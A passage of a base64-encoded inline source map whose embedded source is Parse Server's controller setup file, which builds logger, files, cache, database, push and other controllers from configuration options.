tCQUFWLENBQTFDO0FBQ0EsUUFBTUksZUFBZSxHQUFHQyxrQkFBa0IsQ0FBQ3hCLE9BQUQsQ0FBMUM7QUFDQSxRQUFNeUIsc0JBQXNCLEdBQUdDLHlCQUF5QixDQUFDMUIsT0FBRCxFQUFVO0FBQ2hFbUIsSUFBQUEsa0JBRGdFO0FBRWhFTixJQUFBQTtBQUZnRSxHQUFWLENBQXhEO0FBSUEsU0FBTztBQUNMWixJQUFBQSxnQkFESztBQUVMRSxJQUFBQSxlQUZLO0FBR0xFLElBQUFBLGNBSEs7QUFJTEUsSUFBQUEsY0FKSztBQUtMQyxJQUFBQSx1QkFMSztBQU1MQyxJQUFBQSxjQU5LO0FBT0xFLElBQUFBLFVBUEs7QUFRTEQsSUFBQUEsbUJBUks7QUFTTEssSUFBQUEsbUJBVEs7QUFVTEYsSUFBQUEsZUFWSztBQVdMWSxJQUFBQSxzQkFYSztBQVlMUixJQUFBQSxtQkFaSztBQWFMRSxJQUFBQSxrQkFiSztBQWNMRSxJQUFBQSxlQWRLO0FBZUxFLElBQUFBO0FBZkssR0FBUDtBQWlCRDs7QUFFTSxTQUFTckIsbUJBQVQsQ0FDTEYsT0FESyxFQUVhO0FBQ2xCLFFBQU07QUFDSjJCLElBQUFBLEtBREk7QUFFSkMsSUFBQUEsUUFGSTtBQUdKQyxJQUFBQSxVQUhJO0FBSUpDLElBQUFBLE9BSkk7QUFLSkMsSUFBQUEsUUFMSTtBQU1KQyxJQUFBQSxXQU5JO0FBT0pDLElBQUFBLE1BUEk7QUFRSkMsSUFBQUE7QUFSSSxNQVNGbEMsT0FUSjtBQVVBLFFBQU1tQyxhQUFhLEdBQUc7QUFDcEJQLElBQUFBLFFBRG9CO0FBRXBCQyxJQUFBQSxVQUZvQjtBQUdwQkMsSUFBQUEsT0FIb0I7QUFJcEJDLElBQUFBLFFBSm9CO0FBS3BCRSxJQUFBQSxNQUxvQjtBQU1wQkQsSUFBQUE7QUFOb0IsR0FBdEI7QUFRQSxRQUFNSSx1QkFBdUIsR0FBRyxnQ0FDOUJGLGFBRDhCLEVBRTlCRywwQ0FGOEIsRUFHOUJGLGFBSDhCLENBQWhDO0FBS0EsU0FBTyxJQUFJRyxrQ0FBSixDQUFxQkYsdUJBQXJCLEVBQThDVCxLQUE5QyxFQUFxRFEsYUFBckQsQ0FBUDtBQUNEOztBQUVNLFNBQVMvQixrQkFBVCxDQUNMSixPQURLLEVBRVk7QUFDakIsUUFBTTtBQUNKMkIsSUFBQUEsS0FESTtBQUVKWSxJQUFBQSxXQUZJO0FBR0pDLElBQUFBLFlBSEk7QUFJSkMsSUFBQUEsZUFKSTtBQUtKQyxJQUFBQTtBQUxJLE1BTUYxQyxPQU5KOztBQU9BLE1BQUksQ0FBQ3dDLFlBQUQsSUFBaUJDLGVBQXJCLEVBQXNDO0FBQ3BDLFVBQU0sc0ZBQU47QUFDRDs7QUFDRCxRQUFNRSxzQkFBc0IsR0FBRyxnQ0FBWUgsWUFBWixFQUEwQixNQUFNO0FBQzdELFdBQU8sSUFBSUksd0NBQUosQ0FBd0JMLFdBQXhCLENBQVA7QUFDRCxHQUY4QixDQUEvQjtBQUdBLFNBQU8sSUFBSU0sZ0NBQUosQ0FBb0JGLHNCQUFwQixFQUE0Q2hCLEtBQTVDLEVBQW1EO0FBQ3hEZSxJQUFBQTtBQUR3RCxHQUFuRCxDQUFQO0FBR0Q7O0FBRU0sU0FBU3BDLGlCQUFULENBQTJCTixPQUEzQixFQUF3RTtBQUM3RSxRQUFNO0FBQUUyQixJQUFBQSxLQUFGO0FBQVNtQixJQUFBQSxZQUFUO0FBQXVCQyxJQUFBQTtBQUF2QixNQUE0Qy9DLE9BQWxEO0FBQ0EsUUFBTWdELHNCQUFzQixHQUFHLGdDQUFZRixZQUFaLENBQS9CO0FBQ0EsU0FBTyxJQUFJRyw4QkFBSixDQUFtQkQsc0JBQW5CLEVBQTJDckIsS0FBM0MsRUFBa0Q7QUFDdkRvQixJQUFBQTtBQUR1RCxHQUFsRCxDQUFQO0FBR0Q7O0FBRU0sU0FBU2pDLGtCQUFULENBQ0xkLE9BREssRUFFWTtBQUNqQixRQUFNO0FBQUUyQixJQUFBQSxLQUFGO0FBQVN1QixJQUFBQSxZQUFUO0FBQXVCQyxJQUFBQSxRQUF2QjtBQUFpQ0MsSUFBQUE7QUFBakMsTUFBa0RwRCxPQUF4RDtBQUNBLFFBQU1xRCxzQkFBc0IsR0FBRyxnQ0FDN0JILFlBRDZCLEVBRTdCSSwwQ0FGNkIsRUFHN0I7QUFBRTNCLElBQUFBLEtBQUssRUFBRUEsS0FBVDtBQUFnQjRCLElBQUFBLEdBQUcsRUFBRUosUUFBckI7QUFBK0JLLElBQUFBLE9BQU8sRUFBRUo7QUFBeEMsR0FINkIsQ0FBL0I7QUFLQSxTQUFPLElBQUlLLGdDQUFKLENBQW9CSixzQkFBcEIsRUFBNEMxQixLQUE1QyxDQUFQO0FBQ0Q7O0FBRU0sU0FBU0QseUJBQVQsQ0FDTDFCLE9BREssRUFFTDBELGNBRkssRUFHbUI7QUFDeEIsU0FBTyxJQUFJQywrQkFBSjtBQUNMQyxJQUFBQSxZQUFZLEVBQUU1RCxPQUFPLENBQUM0RDtBQURqQixLQUVGRixjQUZFLEVBQVA7QUFJRDs7QUFFTSxTQUFTMUMsc0JBQVQsQ0FDTGhCLE9BREssRUFFZ0I7QUFDckIsUUFBTTtBQUFFNkQsSUFBQUE7QUFBRixNQUF1QjdELE9BQTdCO0FBQ0EsUUFBTThELDBCQUEwQixHQUFHLGdDQUNqQ0QsZ0JBRGlDLEVBRWpDRSxrQ0FGaUMsQ0FBbkM7QUFJQSxTQUFPLElBQUlDLHdDQUFKLENBQXdCRiwwQkFBeEIsQ0FBUDtBQUNEOztBQUVNLFNBQVM1QyxzQkFBVCxDQUNMbEIsT0FESyxFQUVnQjtBQUNyQixTQUFPLElBQUlpRSx3Q0FBSixDQUF3QmpFLE9BQU8sQ0FBQ2tFLFNBQWhDLENBQVA7QUFDRDs7QUFFTSxTQUFTOUMscUJBQVQsQ0FDTHBCLE9BREssRUFFTGEsZUFGSyxFQUdlO0FBQ3BCLFFBQU07QUFDSjBCLElBQUFBLFdBREk7QUFFSjRCLElBQUFBLGVBRkk7QUFHSkMsSUFBQUEsZ0JBSEk7QUFJSkMsSUFBQUEsY0FKSTtBQUtKQyxJQUFBQTtBQUxJLE1BTUZ0RSxPQU5KO0FBT0EsTUFBSTtBQUFFeUMsSUFBQUE7QUFBRixNQUFzQnpDLE9BQTFCOztBQUNBLE1BQ0UsQ0FBQ21FLGVBQWUsSUFDYjVCLFdBQVcsSUFBSUEsV0FBVyxLQUFLZ0Msa0JBQVNoQyxXQUQxQyxJQUVDNkIsZ0JBQWdCLEtBQUtHLGtCQUFTSCxnQkFGaEMsS0FHQTNCLGVBSkYsRUFLRTtBQUNBLFVBQU0sK0ZBQU47QUFDRCxHQVBELE1BT08sSUFBSSxDQUFDQSxlQUFMLEVBQXNCO0FBQzNCQSxJQUFBQSxlQUFlLEdBQUcrQixrQkFBa0IsQ0FDbENqQyxXQURrQyxFQUVsQzZCLGdCQUZrQyxFQUdsQ0QsZUFIa0MsQ0FBcEM7QUFLRCxHQU5NLE1BTUE7QUFDTDFCLElBQUFBLGVBQWUsR0FBRyxnQ0FBWUEsZUFBWixDQUFsQjtBQUNEOztBQUNELFNBQU8sSUFBSWdDLDJCQUFKLENBQ0xoQyxlQURLLEVBRUwsSUFBSWlDLG9CQUFKLENBQWdCN0QsZUFBaEIsRUFBaUN3RCxjQUFqQyxFQUFpREMsdUJBQWpELENBRkssQ0FBUDtBQUlEOztBQUVNLFNBQVNoRCxrQkFBVCxDQUNMdEIsT0FESyxFQUVMbUIsa0JBRkssRUFHWTtBQUNqQixRQUFNO0FBQUVRLElBQUFBLEtBQUY7QUFBU2dELElBQUFBO0FBQVQsTUFBd0IzRSxPQUE5QjtBQUNBLFNBQU8sSUFBSTRFLGdDQUFKLENBQW9CakQsS0FBcEIsRUFBMkJSLGtCQUEzQixFQUErQ3dELFVBQS9DLENBQVA7QUFDRDs7QUFTTSxTQUFTL0QsaUJBQVQsQ0FDTFosT0FESyxFQUVZO0FBQ2pCLFFBQU07QUFBRTZFLElBQUFBLGFBQUY7QUFBaUJDLElBQUFBO0FBQWpCLE1BQTBCOUUsT0FBaEM7QUFFQSxRQUFNK0UsV0FBVyxHQUFHQyxNQUFNLENBQUNDLE1BQVAsQ0FBYyxFQUFkLEVBQWtCSCxJQUFsQixDQUFwQjtBQUNBLFFBQU1JLGdCQUFnQixHQUFHSCxXQUFXLENBQUNJLFlBQVosSUFBNEIsRUFBckQ7O0FBQ0EsTUFBSUosV0FBVyxDQUFDSSxZQUFoQixFQUE4QjtBQUM1QixXQUFPSixXQUFXLENBQUNJLFlBQW5CO0FBQ0QsR0FQZ0IsQ0FTakI7OztBQUNBLFFBQU1DLFdBQVcsR0FBRyxnQ0FDbEJMLFdBQVcsSUFBSUEsV0FBVyxDQUFDTSxPQURULEVBRWxCQyxvQkFGa0IsRUFHbEJQLFdBSGtCLENBQXBCLENBVmlCLENBZWpCO0FBQ0E7O0FBQ0EsUUFBTXhFLGNBQWMsR0FBRyxJQUFJZ0YsOEJBQUosRUFBdkI7QUFDQSxRQUFNOUUsY0FBYyxHQUFHLENBQUMsRUFBRTJFLFdBQVcsSUFBSU4sSUFBakIsQ0FBeEI7QUFDQSxRQUFNdEUsdUJBQXVCLEdBQUdDLGNBQWMsSUFBSW9FLGFBQWEsS0FBSyxJQUFwRTtBQUVBLFFBQU07QUFBRVcsSUFBQUE7QUFBRixNQUF3Qk4sZ0JBQTlCO0FBRUEsUUFBTXhFLG1CQUFtQixHQUFHLElBQUkrRSxvQkFBSixDQUFjUCxnQkFBZCxDQUE1QjtBQUNBLE1BQUl2RSxVQUFKOztBQUNBLE1BQUksQ0FBQzZFLGlCQUFMLEVBQXdCO0FBQ3RCN0UsSUFBQUEsVUFBVSxHQUFHLElBQUkrRSxzQkFBSixDQUFlTixXQUFmLEVBQTRCRixnQkFBNUIsQ0FBYjtBQUNEOztBQUNELFNBQU87QUFDTDNFLElBQUFBLGNBREs7QUFFTEUsSUFBQUEsY0FGSztBQUdMRCxJQUFBQSx1QkFISztBQUlMRSxJQUFBQSxtQkFKSztBQUtMQyxJQUFBQTtBQUxLLEdBQVA7QUFPRDs7QUFFTSxTQUFTYSxrQkFBVCxDQUE0QnhCLE9BQTVCLEVBQXlEO0FBQzlELFFBQU07QUFBRTJGLElBQUFBLElBQUY7QUFBUUMsSUFBQUE7QUFBUixNQUFpQzVGLE9BQXZDO0FBQ0EsU0FBTyxtQkFBZ0IyRixJQUFoQixFQUFzQkMsb0JBQXRCLENBQVA7QUFDRDs7QUFFTSxTQUFTcEIsa0JBQVQsQ0FDTGpDLFdBREssRUFFTDZCLGdCQUZLLEVBR0xELGVBSEssRUFJTDtBQUNBLE1BQUkwQixRQUFKOztBQUNBLE1BQUk7QUFDRixVQUFNQyxTQUFTLEdBQUdDLGFBQUlDLEtBQUosQ0FBVXpELFdBQVYsQ0FBbEI7O0FBQ0FzRCxJQUFBQSxRQUFRLEdBQUdDLFNBQVMsQ0FBQ0QsUUFBVixHQUFxQkMsU0FBUyxDQUFDRCxRQUFWLENBQW1CSSxXQUFuQixFQUFyQixHQUF3RCxJQUFuRTtBQUNELEdBSEQsQ0FHRSxPQUFPQyxDQUFQLEVBQVU7QUFDVjtBQUNEOztBQUNELFVBQVFMLFFBQVI7QUFDRSxTQUFLLFdBQUw7QUFDRSxhQUFPLElBQUlNLCtCQUFKLENBQTJCO0FBQ2hDQyxRQUFBQSxHQUFHLEVBQUU3RCxXQUQyQjtBQUVoQzZCLFFBQUFBLGdCQUZnQztBQUdoQ0QsUUFBQUE7QUFIZ0MsT0FBM0IsQ0FBUDs7QUFLRjtBQUNFLGFBQU8sSUFBSWtDLDRCQUFKLENBQXdCO0FBQzdCRCxRQUFBQSxHQUFHLEVBQUU3RCxXQUR3QjtBQUU3QjZCLFFBQUFBLGdCQUY2QjtBQUc3QmtDLFFBQUFBLFlBQVksRUFBRW5DO0FBSGUsT0FBeEIsQ0FBUDtBQVJKO0FBY0QiLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgYXV0aERhdGFNYW5hZ2VyIGZyb20gJy4uL0FkYXB0ZXJzL0F1dGgnO1xuaW1wb3J0IHsgUGFyc2VTZXJ2ZXJPcHRpb25zIH0gZnJvbSAnLi4vT3B0aW9ucyc7XG5pbXBvcnQgeyBsb2FkQWRhcHRlciB9IGZyb20gJy4uL0FkYXB0ZXJzL0FkYXB0ZXJMb2FkZXInO1xuaW1wb3J0IGRlZmF1bHRzIGZyb20gJy4uL2RlZmF1bHRzJztcbmltcG9ydCB1cmwgZnJvbSAndXJsJztcbi8vIENvbnRyb2xsZXJzXG5pbXBvcnQgeyBMb2dnZXJDb250cm9sbGVyIH0gZnJvbSAnLi9Mb2dnZXJDb250cm9sbGVyJztcbmltcG9ydCB7IEZpbGVzQ29udHJvbGxlciB9IGZyb20gJy4vRmlsZXNDb250cm9sbGVyJztcbmltcG9ydCB7IEhvb2tzQ29udHJvbGxlciB9IGZyb20gJy4vSG9va3NDb250cm9sbGVyJztcbmltcG9ydCB7IFVzZXJDb250cm9sbGVyIH0gZnJvbSAnLi9Vc2VyQ29udHJvbGxlcic7XG5pbXBvcnQgeyBDYWNoZUNvbnRyb2xsZXIgfSBmcm9tICcuL0NhY2hlQ29udHJvbGxlcic7XG5pbXBvcnQgeyBMaXZlUXVlcnlDb250cm9sbGVyIH0gZnJvbSAnLi9MaXZlUXVlcnlDb250cm9sbGVyJztcbmltcG9ydCB7IEFuYWx5dGljc0NvbnRyb2xsZXIgfSBmcm9tICcuL0FuYWx5dGljc0NvbnRyb2xsZXInO1xuaW1wb3J0IHsgUHVzaENvbnRyb2xsZXIgfSBmcm9tICcuL1B1c2hDb250cm9sbGVyJztcbmltcG9ydCB7IFB1c2hRdWV1ZSB9IGZyb20gJy4uL1B1c2gvUHVzaFF1ZXVlJztcbmltcG9ydCB7IFB1c2hXb3JrZXIgfSBmcm9tICcuLi9QdXNoL1B1c2hXb3JrZXInO1xuaW1wb3J0IERhdGFiYXNlQ29udHJvbGxlciBmcm9tICcuL0RhdGFiYXNlQ29udHJvbGxlcic7XG5pbXBvcnQgU2NoZW1hQ2FjaGUgZnJvbSAnLi9TY2hlbWFDYWNoZSc7XG5cbi8vIEFkYXB0ZXJzXG5pbXBvcnQgeyBHcmlkRlNCdWNrZXRBZGFwdGVyIH0gZnJvbSAnLi4vQWRhcHRlcnMvRmlsZXMvR3JpZEZTQnVja2V0QWRhcHRlcic7XG5pbXBvcnQgeyBXaW5zdG9uTG9nZ2VyQWRhcHRlciB9IGZyb20gJy4uL0FkYXB0ZXJzL0xvZ2dlci9XaW5zdG9uTG9nZ2VyQWRhcHRlcic7XG5pbXBvcnQgeyBJbk1lbW9yeUNhY2hlQWRhcHRlciB9IGZyb20gJy4uL0FkYXB0ZXJzL0NhY2hlL0luTWVtb3J5Q2FjaGVBZGFwdGVyJztcbmltcG9ydCB7IEFuYWx5dGljc0FkYXB0ZXIgfSBmcm9tICcuLi9BZGFwdGVycy9BbmFseXRpY3MvQW5hbHl0aWNzQWRhcHRlcic7XG5pbXBvcnQgTW9uZ29TdG9yYWdlQWRhcHRlciBmcm9tICcuLi9BZGFwdGVycy9TdG9yYWdlL01vbmdvL01vbmdvU3RvcmFnZUFkYXB0ZXInO1xuaW1wb3J0IFBvc3RncmVzU3RvcmFnZUFkYXB0ZXIgZnJvbSAnLi4vQWRhcHRlcnMvU3RvcmFnZS9Qb3N0Z3Jlcy9Qb3N0Z3Jlc1N0b3JhZ2VBZGFwdGVyJztcbmltcG9ydCBQYXJzZVB1c2hBZGFwdGVyIGZyb20gJ0BwYXJzZS9wdXNoLWFkYXB0ZXInO1xuaW1wb3J0IFBhcnNlR3JhcGhRTENvbnRyb2xsZXIgZnJvbSAnLi9QYXJzZUdyYXBoUUxDb250cm9sbGVyJztcblxuZXhwb3J0IGZ1bmN0aW9uIGdldENvbnRyb2xsZXJzKG9wdGlvbnM6IFBhcnNlU2VydmVyT3B0aW9ucykge1xuICBjb25zdCBsb2dnZXJDb250cm9sbGVyID0gZ2V0TG9nZ2VyQ29udHJvbGxlcihvcHRpb25zKTtcbiAgY29uc3QgZmlsZXNDb250cm9sbGVyID0gZ2V0RmlsZXNDb250cm9sbGVyKG9wdGlvbnMpO1xuICBjb25zdCB1c2VyQ29udHJvbGxlciA9IGdldFVzZXJDb250cm9sbGVyKG9wdGlvbnMpO1xuICBjb25zdCB7XG4gICAgcHVzaENvbnRyb2xsZXIsXG4gICAgaGFzUHVzaFNjaGVkdWxlZFN1cHBvcnQsXG4gICAgaGFzUHVzaFN1cHBvcnQsXG4gICAgcHVzaENvbnRyb2xsZXJRdWV1ZSxcbiAgICBwdXNoV29ya2VyLFxuICB9ID0gZ2V0UHVzaENvbnRyb2xsZXIob3B0aW9ucyk7XG4gIGNvbnN0IGNhY2hlQ29udHJvbGxlciA9IGdldENhY2hlQ29udHJvbGxlcihvcHRpb25zKTtcbiAgY29uc3QgYW5hbHl0aWNzQ29udHJvbGxlciA9IGdldEFuYWx5dGljc0NvbnRyb2xsZXIob3B0aW9ucyk7XG4gIGNvbnN0IGxpdmVRdWVyeUNvbnRyb2xsZXIgPSBnZXRMaXZlUXVlcnlDb250cm9sbGVyKG9wdGlvbnMpO1xuICBjb25zdCBkYXRhYmFzZUNvbnRyb2xsZXIgPSBnZXREYXRhYmFzZUNvbnRyb2xsZXIob3B0aW9ucywgY2FjaGVDb250cm9sbGVyKTtcbiAgY29uc3QgaG9va3NDb250cm9sbGVyID0gZ2V0SG9va3NDb250cm9sbGVyKG9wdGlvbnMsIGRhdGFiYXNlQ29udHJvbGxlcik7XG4gIGNvbnN0IGF1dGhEYXRhTWFuYWdlciA9IGdldEF1dGhEYXRhTWFuYWdlcihvcHRpb25zKTtcbiAgY29uc3QgcGFyc2VHcmFwaFFMQ29udHJvbGxlciA9IGdldFBhcnNlR3JhcGhRTENvbnRyb2xsZXIob3B0aW9ucywge1xuICAgIGRhdGFiYXNlQ29udHJvbGxlcixcbiAgICBjYWNoZUNvbnRyb2xsZXIsXG4gIH0pO1xuICByZXR1cm4ge1xuICAgIGxvZ2dlckNvbnRyb2xsZXIsXG4gICAgZmlsZXNDb250cm9sbGVyLFxuICAgIHVzZXJDb250cm9sbGVyLFxuICAgIHB1c2hDb250cm9sbGVyLFxuICAgIGhhc1B1c2hTY2hlZHVsZWRTdXBwb3J0LFxuICAgIGhhc1B1c2hTdXBwb3J0LFxuICAgIHB1c2hXb3JrZXIsXG4gICAgcHVzaENvbnRyb2xsZXJRdWV1ZSxcbiAgICBhbmFseXRpY3NDb250cm9sbGVyLFxuICAgIGNhY2hlQ29udHJvbGxlcixcbiAgICBwYXJzZUdyYXBoUUxDb250cm9sbGVyLFxuICAgIGxpdmVRdWVyeUNvbnRyb2xsZXIsXG4gICAgZGF0YWJhc2VDb250cm9sbGVyLFxuICAgIGhvb2tzQ29udHJvbGxlcixcbiAgICBhdXRoRGF0YU1hbmFnZXIsXG4gIH07XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXRMb2dnZXJDb250cm9sbGVyKFxuICBvcHRpb25zOiBQYXJzZVNlcnZlck9wdGlvbnNcbik6IExvZ2dlckNvbnRyb2xsZXIge1xuICBjb25zdCB7XG4gICAgYXBwSWQsXG4gICAganNvbkxvZ3MsXG4gICAgbG9nc0ZvbGRlcixcbiAgICB2ZXJib3NlLFxuICAgIGxvZ0xldmVsLFxuICAgIG1heExvZ0ZpbGVzLFxuICAgIHNpbGVudCxcbiAgICBsb2dnZXJBZGFwdGVyLFxuICB9ID0gb3B0aW9ucztcbiAgY29uc3QgbG9nZ2VyT3B0aW9ucyA9IHtcbiAgICBqc29uTG9ncyxcbiAgICBsb2dzRm9sZGVyLFxuICAgIHZlcmJvc2UsXG4gICAgbG9nTGV2ZWwsXG4gICAgc2lsZW50LFxuICAgIG1heExvZ0ZpbGVzLFxuICB9O1xuICBjb25zdCBsb2dnZXJDb250cm9sbGVyQWRhcHRlciA9IGxvYWRBZGFwdGVyKFxuICAgIGxvZ2dlckFkYXB0ZXIsXG4gICAgV2luc3RvbkxvZ2dlckFkYXB0ZXIsXG4gICAgbG9nZ2VyT3B0aW9uc1xuICApO1xuICByZXR1cm4gbmV3IExvZ2dlckNvbnRyb2xsZXIobG9nZ2VyQ29udHJvbGxlckFkYXB0ZXIsIGFwcElkLCBsb2dnZXJPcHRpb25zKTtcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIGdldEZpbGVzQ29udHJvbGxlcihcbiAgb3B0aW9uczogUGFyc2VTZXJ2ZXJPcHRpb25zXG4pOiBGaWxlc0NvbnRyb2xsZXIge1xuICBjb25zdCB7XG4gICAgYXBwSWQsXG4gICAgZGF0YWJhc2VVUkksXG4gICAgZmlsZXNBZGFwdGVyLFxuICAgIGRhdGFiYXNlQWRhcHRlcixcbiAgICBwcmVzZXJ2ZUZpbGVOYW1lLFxuICB9ID0gb3B0aW9ucztcbiAgaWYgKCFmaWxlc0FkYXB0ZXIgJiYgZGF0YWJhc2VBZGFwdGVyKSB7XG4gICAgdGhyb3cgJ1doZW4gdXNpbmcgYW4gZXhwbGljaXQgZGF0YWJhc2UgYWRhcHRlciwgeW91IG11c3QgYWxzbyB1c2UgYW4gZXhwbGljaXQgZmlsZXNBZGFwdGVyLic7XG4gIH1cbiAgY29uc3QgZmlsZXNDb250cm9sbGVyQWRhcHRlciA9IGxvYWRBZGFwdGVyKGZpbGVzQWRhcHRlciwgKCkgPT4ge1xuICAgIHJldHVybiBuZXcgR3JpZEZTQnVja2V0QWRhcHRlcihkYXRhYmFzZVVSSSk7XG4gIH0pO1xuICByZXR1cm4gbmV3IEZpbGVzQ29udHJvbGxlcihmaWxlc0NvbnRyb2xsZXJBZGFwdGVyLCBhcHBJZCwge1xuICAgIHByZXNlcnZlRmlsZU5hbWUsXG4gIH0pO1xufVxuXG5leHBvcnQgZnVuY3Rpb24gZ2V0VXNlckNvbnRyb2xsZXIob3B0aW9uczogUGFyc2VTZXJ2ZXJPcHRpb25zKTogVXNlckNvbnRyb2xsZXIge1xuICBjb25zdCB7IGFwcElkLCBlbWFpbEFkYXB0ZXIsIHZlcmlmeVVzZXJFbWFpbHMgfSA9IG9wdGlvbnM7XG4gIGNvbnN0IGVtYWlsQ29udHJvbGxlckFkYXB0ZXIgPSBsb2FkQWRhcHRlcihlbWFpbEFkYXB0ZXIpO1xuICByZXR1cm4gbmV3IFVzZXJDb250cm9sbGVyKGVtYWlsQ29udHJvbGxlckFkYXB0ZXIsIGFwcElkLCB7XG4gICAgdmVyaWZ5VXNlckVtYWlscyxcbiAgfSk7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXRDYWNoZUNvbnRyb2xsZXIoXG4gIG9wdGlvbnM6IFBhcnNlU2VydmVyT3B0aW9uc1xuKTogQ2FjaGVDb250cm9sbGVyIHtcbiAgY29uc3QgeyBhcHBJZCwgY2FjaGVBZGFwdGVyLCBjYWNoZVRUTCwgY2FjaGVNYXhTaXplIH0gPSBvcHRpb25zO1xuICBjb25zdCBjYWNoZUNvbnRyb2xsZXJBZGFwdGVyID0gbG9hZEFkYXB0ZXIoXG4gICAgY2FjaGVBZGFwdGVyLFxuICAgIEluTWVtb3J5Q2FjaGVBZGFwdGVyLFxuICAgIHsgYXBwSWQ6IGFwcElkLCB0dGw6IGNhY2hlVFRMLCBtYXhTaXplOiBjYWNoZU1heFNpemUgfVxuICApO1xuICByZXR1cm4gbmV3IENhY2hlQ29udHJvbGxlcihjYWNoZUNvbnRyb2xsZXJBZGFwdGVyLCBhcHBJZCk7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXRQYXJzZUdyYXBoUUxDb250cm9sbGVyKFxuICBvcHRpb25zOiBQYXJzZVNlcnZlck9wdGlvbnMsXG4gIGNvbnRyb2xsZXJEZXBzXG4pOiBQYXJzZUdyYXBoUUxDb250cm9sbGVyIHtcbiAgcmV0dXJuIG5ldyBQYXJzZUdyYXBoUUxDb250cm9sbGVyKHtcbiAgICBtb3VudEdyYXBoUUw6IG9wdGlvbnMubW91bnRHcmFwaFFMLFxuICAgIC4uLmNvbnRyb2xsZXJEZXBzLFxuICB9KTtcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIGdldEFuYWx5dGljc0NvbnRyb2xsZXIoXG4gIG9wdGlvbnM6IFBhcnNlU2VydmVyT3B0aW9uc1xuKTogQW5hbHl0aWNzQ29udHJvbGxlciB7XG4gIGNvbnN0IHsgYW5hbHl0aWNzQWRhcHRlciB9ID0gb3B0aW9ucztcbiAgY29uc3QgYW5hbHl0aWNzQ29udHJvbGxlckFkYXB0ZXIgPSBsb2FkQWRhcHRlcihcbiAgICBhbmFseXRpY3NBZGFwdGVyLFxuICAgIEFuYWx5dGljc0FkYXB0ZXJcbiAgKTtcbiAgcmV0dXJuIG5ldyBBbmFseXRpY3NDb250cm9sbGVyKGFuYWx5dGljc0NvbnRyb2xsZXJBZGFwdGVyKTtcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIGdldExpdmVRdWVyeUNvbnRyb2xsZXIoXG4gIG9wdGlvbnM6IFBhcnNlU2VydmVyT3B0aW9uc1xuKTogTGl2ZVF1ZXJ5Q29udHJvbGxlciB7XG4gIHJldHVybiBuZXcgTGl2ZVF1ZXJ5Q29udHJvbGxlcihvcHRpb25zLmxpdmVRdWVyeSk7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXREYXRhYmFzZUNvbnRyb2xsZXIoXG4gIG9wdGlvbnM6IFBhcnNlU2VydmVyT3B0aW9ucyxcbiAgY2FjaGVDb250cm9sbGVyOiBDYWNoZUNvbnRyb2xsZXJcbik6IERhdGFiYXNlQ29udHJvbGxlciB7XG4gIGNvbnN0IHtcbiAgICBkYXRhYmFzZVVSSSxcbiAgICBkYXRhYmFzZU9wdGlvbnMsXG4gICAgY29sbGVjdGlvblByZWZpeCxcbiAgICBzY2hlbWFDYWNoZVRUTCxcbiAgICBlbmFibGVTaW5nbGVTY2hlbWFDYWNoZSxcbiAgfSA9IG9wdGlvbnM7XG4gIGxldCB7IGRhdGFiYXNlQWRhcHRlciB9ID0gb3B0aW9ucztcbiAgaWYgKFxuICAgIChkYXRhYmFzZU9wdGlvbnMgfHxcbiAgICAgIChkYXRhYmFzZVVSSSAmJiBkYXRhYmFzZVVSSSAhPT0gZGVmYXVsdHMuZGF0YWJhc2VVUkkpIHx8XG4gICAgICBjb2xsZWN0aW9uUHJlZml4ICE9PSBkZWZhdWx0cy5jb2xsZWN0aW9uUHJlZml4KSAmJlxuICAgIGRhdGFiYXNlQWRhcHRlclxuICApIHtcbiAgICB0aHJvdyAnWW91IGNhbm5vdCBzcGVjaWZ5IGJvdGggYSBkYXRhYmFzZUFkYXB0ZXIgYW5kIGEgZGF0YWJhc2VVUkkvZGF0YWJhc2VPcHRpb25zL2NvbGxlY3Rpb25QcmVmaXguJztcbiAgfSBlbHNlIGlmICghZGF0YWJhc2VBZGFwdGVyKSB7XG4gICAgZGF0YWJhc2VBZGFwdGVyID0gZ2V0RGF0YWJhc2VBZGFwdGVyKFxuICAgICAgZGF0YWJhc2VVUkksXG4gICAgICBjb2xsZWN0aW9uUHJlZml4LFxuICAgICAgZGF0YWJhc2VPcHRpb25zXG4gICAgKTtcbiAgfSBlbHNlIHtcbiAgICBkYXRhYmFzZUFkYXB0ZXIgPSBsb2FkQWRhcHRlcihkYXRhYmFzZUFkYXB0ZXIpO1xuICB9XG4gIHJldHVybiBuZXcgRGF0YWJhc2VDb250cm9sbGVyKFxuICAgIGRhdGFiYXNlQWRhcHRlcixcbiAgICBuZXcgU2NoZW1hQ2FjaGUoY2FjaGVDb250cm9sbGVyLCBzY2hlbWFDYWNoZVRUTCwgZW5hYmxlU2luZ2xlU2NoZW1hQ2FjaGUpXG4gICk7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXRIb29rc0NvbnRyb2xsZXIoXG4gIG9wdGlvbnM6IFBhcnNlU2VydmVyT3B0aW9ucyxcbiAgZGF0YWJhc2VDb250cm9sbGVyOiBEYXRhYmFzZUNvbnRyb2xsZXJcbik6IEhvb2tzQ29udHJvbGxlciB7XG4gIGNvbnN0IHsgYXBwSWQsIHdlYmhvb2tLZXkgfSA9IG9wdGlvbnM7XG4gIHJldHVybiBuZXcgSG9va3NDb250cm9sbGVyKGFwcElkLCBkYXRhYmFzZUNvbnRyb2xsZXIsIHdlYmhvb2tLZXkpO1xufVxuXG5pbnRlcmZhY2UgUHVzaENvbnRyb2xsaW5nIHtcbiAgcHVzaENvbnRyb2xsZXI6IFB1c2hDb250cm9sbGVyO1xuICBoYXNQdXNoU2NoZWR1bGVkU3VwcG9ydDogYm9vbGVhbjtcbiAgcHVzaENvbnRyb2xsZXJRdWV1ZTogUHVzaFF1ZXVlO1xuICBwdXNoV29ya2VyOiBQdXNoV29ya2VyO1xufVxuXG5leHBvcnQgZnVuY3Rpb24gZ2V0UHVzaENvbnRyb2xsZXIoXG4gIG9wdGlvbnM6IFBhcnNlU2VydmVyT3B0aW9uc1xuKTogUHVzaENvbnRyb2xsaW5nIHtcbiAgY29uc3QgeyBzY2hlZHVsZWRQdXNoLCBwdXNoIH0gPSBvcHRpb25zO1xuXG4gIGNvbnN0IHB1c2hPcHRpb25zID0gT2JqZWN0LmFzc2lnbih7fSwgcHVzaCk7XG4gIGNvbnN0IHB1c2hRdWV1ZU9w